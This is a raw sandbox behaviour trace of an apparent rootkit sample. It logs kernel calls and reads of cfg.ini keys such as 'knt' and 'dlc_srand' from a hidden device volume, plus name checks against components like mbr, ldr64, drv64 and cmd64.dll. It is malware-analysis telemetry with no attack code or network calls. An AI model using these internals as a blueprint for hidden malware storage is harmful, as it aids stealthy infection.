[0120.950] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.950] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.950] IdePortDispatch () returned 0x103 [0120.950] KeWaitForMutexObject () returned 0x0 [0120.950] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.950] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.950] KeLeaveCriticalRegion () [0120.950] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.950] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.950] KeEnterCriticalRegion () [0120.950] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.950] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800352d000 [0120.950] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.950] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.950] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.950] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.950] IdePortDispatch () returned 0x103 [0120.950] KeWaitForMutexObject () returned 0x0 [0120.951] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.951] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.951] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.951] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.951] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.951] IdePortDispatch () returned 0x103 [0120.951] KeWaitForMutexObject () returned 0x0 [0120.951] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.951] KeLeaveCriticalRegion () [0120.951] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.951] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.951] KeEnterCriticalRegion () [0120.951] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.951] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.951] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.951] KeLeaveCriticalRegion () [0120.951] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.951] KeEnterCriticalRegion () [0120.951] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.952] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0120.952] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.952] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.952] KeLeaveCriticalRegion () [0120.952] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.952] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.952] KeEnterCriticalRegion () [0120.952] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.952] ExFreePoolWithTag (P=0xfffffa8003bce0a0, Tag=0x0) [0120.952] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.952] KeLeaveCriticalRegion () [0120.952] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.952] ReleaseMutex (hMutex=0xf0) returned 1 [0120.952] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.952] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.952] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.952] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.952] KeEnterCriticalRegion () [0120.952] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.952] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.952] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.952] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.952] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.952] IdePortDispatch () returned 0x103 [0120.952] KeWaitForMutexObject () returned 0x0 [0120.952] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.952] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.952] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.952] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.952] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.952] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.952] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.952] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.952] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.952] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.952] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.952] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.952] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.952] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.952] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.953] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.953] KeLeaveCriticalRegion () [0120.953] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.953] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.953] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.953] KeEnterCriticalRegion () [0120.953] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.953] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.953] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.953] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.953] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.953] IdePortDispatch () returned 0x103 [0120.953] KeWaitForMutexObject () returned 0x0 [0120.953] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.953] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.953] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.953] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.953] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.953] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.953] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.953] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.953] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.953] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.953] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.953] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.953] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.953] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.953] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.953] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.953] KeLeaveCriticalRegion () [0120.953] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.953] ReleaseMutex (hMutex=0x100) returned 1 [0120.953] Sleep (dwMilliseconds=0x2bf20) [0120.960] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b4b7d90, dwHighDateTime=0x1d24fa4)) [0120.960] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.960] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.960] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.960] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.960] KeEnterCriticalRegion () [0120.960] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.960] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.960] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.960] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.960] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.960] IdePortDispatch () returned 0x103 [0120.960] KeWaitForMutexObject () returned 0x0 [0120.961] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.961] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.961] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.961] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.961] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.961] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003b9f710 [0120.961] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.961] KeLeaveCriticalRegion () [0120.961] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.961] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.961] KeEnterCriticalRegion () [0120.961] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.961] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.961] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.961] KeLeaveCriticalRegion () [0120.961] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.961] KeEnterCriticalRegion () [0120.961] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.961] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.961] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.961] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.961] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.961] IdePortDispatch () returned 0x103 [0120.961] KeWaitForMutexObject () returned 0x0 [0120.961] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.961] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.961] KeLeaveCriticalRegion () [0120.961] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.961] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.961] KeEnterCriticalRegion () [0120.961] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.961] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003530000 [0120.961] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.961] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.961] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.961] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.961] IdePortDispatch () returned 0x103 [0120.962] KeWaitForMutexObject () returned 0x0 [0120.962] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.962] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.962] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.962] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.962] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.962] IdePortDispatch () returned 0x103 [0120.962] KeWaitForMutexObject () returned 0x0 [0120.962] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.962] KeLeaveCriticalRegion () [0120.962] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.962] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.962] KeEnterCriticalRegion () [0120.962] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.962] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.963] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.963] KeLeaveCriticalRegion () [0120.963] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.963] KeEnterCriticalRegion () [0120.963] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.963] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0120.963] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.963] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.963] KeLeaveCriticalRegion () [0120.963] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.963] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.963] KeEnterCriticalRegion () [0120.963] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.963] ExFreePoolWithTag (P=0xfffffa8003b9f710, Tag=0x0) [0120.963] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.963] KeLeaveCriticalRegion () [0120.963] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.963] ReleaseMutex (hMutex=0xf0) returned 1 [0120.963] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.963] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.963] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.963] KeEnterCriticalRegion () [0120.963] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.963] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.963] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.963] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.963] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.963] IdePortDispatch () returned 0x103 [0120.963] KeWaitForMutexObject () returned 0x0 [0120.963] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.963] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.963] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.963] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.963] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.963] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003b9f660 [0120.963] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.963] KeLeaveCriticalRegion () [0120.963] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.964] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.964] KeEnterCriticalRegion () [0120.964] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.964] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.964] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.964] KeLeaveCriticalRegion () [0120.964] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.964] KeEnterCriticalRegion () [0120.964] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.964] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.964] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.964] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.964] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.964] IdePortDispatch () returned 0x103 [0120.964] KeWaitForMutexObject () returned 0x0 [0120.964] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.964] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.964] KeLeaveCriticalRegion () [0120.964] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.964] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.964] KeEnterCriticalRegion () [0120.964] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.964] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003531000 [0120.964] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.964] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.964] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.964] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.964] IdePortDispatch () returned 0x103 [0120.964] KeWaitForMutexObject () returned 0x0 [0120.965] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.965] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.965] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.965] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.965] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.965] IdePortDispatch () returned 0x103 [0120.965] KeWaitForMutexObject () returned 0x0 [0120.965] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.965] KeLeaveCriticalRegion () [0120.965] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.965] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.965] KeEnterCriticalRegion () [0120.965] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.965] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.965] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.965] KeLeaveCriticalRegion () [0120.965] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.965] KeEnterCriticalRegion () [0120.966] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.966] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0120.966] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.966] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.966] KeLeaveCriticalRegion () [0120.966] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.966] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.966] KeEnterCriticalRegion () [0120.966] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.966] ExFreePoolWithTag (P=0xfffffa8003b9f660, Tag=0x0) [0120.966] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.966] KeLeaveCriticalRegion () [0120.966] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.966] ReleaseMutex (hMutex=0xf0) returned 1 